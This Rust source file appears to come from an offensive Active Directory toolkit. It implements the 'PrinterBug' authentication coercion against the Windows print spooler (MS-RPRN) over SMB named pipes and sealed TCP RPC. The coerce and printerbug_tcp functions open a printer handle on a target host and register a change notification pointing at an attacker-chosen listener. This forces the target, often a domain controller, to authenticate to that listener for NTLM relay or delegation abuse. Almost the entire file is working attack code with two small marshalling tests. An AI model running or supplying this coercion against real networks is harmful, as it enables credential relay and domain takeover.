use crate::ndr::NdrEncoder;
use crate::transport::{RpcTcp, SmbPipe};
use crate::{epm, Result, RpcError, Syntax};
use smb2_client::SmbClient;
pub fn rprn_syntax() -> Syntax {
Syntax::new("12345678-1234-abcd-ef00-0123456789ab", 1, 0)
}
pub const OPNUM_OPEN_PRINTER: u16 = 1;
pub const OPNUM_RFFPCNEX: u16 = 65;
fn encode_open_printer(printer_name: &str) -> Vec<u8> {
let mut e = NdrEncoder::new();
e.referent(); e.conformant_varying_wstr(printer_name); e.null_ptr(); e.u32(0); e.null_ptr(); e.u32(0); e.into_bytes()
}
fn encode_rffpcnex(handle: &[u8; 20], local_machine: &str) -> Vec<u8> {
let mut e = NdrEncoder::new();
e.bytes(handle); e.u32(0x0000_0100); e.u32(0); e.referent(); e.conformant_varying_wstr(local_machine); e.u32(0); e.null_ptr(); e.into_bytes()
}
pub struct PrinterBug<'a> {
pipe: SmbPipe<'a>,
}
impl<'a> PrinterBug<'a> {
pub async fn bind(client: &'a mut SmbClient, file_id: [u8; 16]) -> Result<Self> {
let mut pipe = SmbPipe::new(client, file_id);
pipe.bind(rprn_syntax()).await?;
Ok(PrinterBug { pipe })
}
pub async fn coerce(&mut self, target: &str, listener: &str) -> Result<u32> {
let resp = self
.pipe
.call(
OPNUM_OPEN_PRINTER,
&encode_open_printer(&format!("\\\\{target}")),
)
.await?;
if resp.len() < 24 {
return Err(RpcError::Protocol("RpcOpenPrinter reply too short".into()));
}
let handle: [u8; 20] = resp[0..20].try_into().unwrap();
let open_status = u32::from_le_bytes(resp[resp.len() - 4..].try_into().unwrap());
if open_status != 0 || handle == [0u8; 20] {
return Err(RpcError::Protocol(format!(
"RpcOpenPrinter failed: 0x{open_status:08x}"
)));
}
let resp = self
.pipe
.call(
OPNUM_RFFPCNEX,
&encode_rffpcnex(&handle, &format!("\\\\{listener}")),
)
.await?;
Ok(u32::from_le_bytes(
resp[resp.len() - 4..].try_into().unwrap(),
))
}
}
fn open_printer_result(resp: &[u8]) -> Result<[u8; 20]> {
if resp.len() < 24 {
return Err(RpcError::Protocol("RpcOpenPrinter reply too short".into()));
}
let handle: [u8; 20] = resp[0..20].try_into().unwrap();
let status = u32::from_le_bytes(resp[resp.len() - 4..].try_into().unwrap());
if status != 0 || handle == [0u8; 20] {
return Err(RpcError::Protocol(format!(
"RpcOpenPrinter failed: 0x{status:08x}"
)));
}
Ok(handle)
}
pub async fn printerbug_tcp(
host: &str,
domain: &str,
user: &str,
password: &str,
target: &str,
listener: &str,
) -> Result<u32> {
let port = epm::resolve_port(host, rprn_syntax()).await?;
let mut rpc = RpcTcp::connect(&format!("{host}:{port}")).await?;
rpc.bind_sealed(rprn_syntax(), domain, user, password, "ADHAMMER")
.await?;
let resp = rpc
.call_sealed(
OPNUM_OPEN_PRINTER,
&encode_open_printer(&format!("\\\\{target}")),
)
.await?;
let handle = open_printer_result(&resp)?;
let resp = rpc
.call_sealed(
OPNUM_RFFPCNEX,
&encode_rffpcnex(&handle, &format!("\\\\{listener}")),
)
.await?;
Ok(u32::from_le_bytes(
resp[resp.len() - 4..].try_into().unwrap(),
))
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn open_printer_marshals_name() {
let stub = encode_open_printer("\\\\dc01");
assert_ne!(u32::from_le_bytes(stub[0..4].try_into().unwrap()), 0); assert_eq!(&stub[stub.len() - 4..], &[0, 0, 0, 0]); }
#[test]
fn rffpcnex_carries_handle_and_listener() {
let stub = encode_rffpcnex(&[0x41; 20], "\\\\10.0.0.5");
assert_eq!(&stub[0..20], &[0x41; 20]); assert_eq!(&stub[stub.len() - 4..], &[0, 0, 0, 0]); }
}